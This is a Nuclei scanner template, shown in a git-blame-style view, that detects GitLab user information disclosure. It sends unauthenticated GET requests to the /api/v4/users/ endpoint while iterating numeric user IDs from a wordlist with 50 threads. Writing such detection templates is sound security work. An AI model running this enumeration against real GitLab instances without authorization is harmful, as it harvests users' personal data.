2021-06-16 16:09:35 +00:00
|
|
|
id: gitlab-user-open-api
|
|
|
|
|
|
|
|
info:
|
|
|
|
author: Suman_Kar
|
|
|
|
name: GitLab - User Information Disclosure Via Open API
|
2021-06-18 08:22:48 +00:00
|
|
|
severity: medium
|
2021-06-20 11:05:59 +00:00
|
|
|
tags: gitlab,disclosure
|
2021-06-18 08:22:48 +00:00
|
|
|
reference: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158
|
2021-06-16 16:09:35 +00:00
|
|
|
|
|
|
|
requests:
|
2021-08-22 18:09:33 +00:00
|
|
|
- raw:
|
2021-06-16 16:09:35 +00:00
|
|
|
- |
|
|
|
|
GET /api/v4/users/{{uid}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/plain, */*
|
|
|
|
Referer: {{BaseURL}}
|
2021-08-22 18:09:33 +00:00
|
|
|
|
|
|
|
payloads:
|
|
|
|
uid: helpers/wordlists/numbers.txt
|
|
|
|
attack: sniper
|
|
|
|
threads: 50
|
2021-06-16 16:09:35 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- "username.*"
|
2021-06-18 08:20:34 +00:00
|
|
|
- "id.*"
|
|
|
|
- "name.*"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
|
2021-06-16 16:09:35 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
2021-06-17 08:01:19 +00:00
|
|
|
- 200
|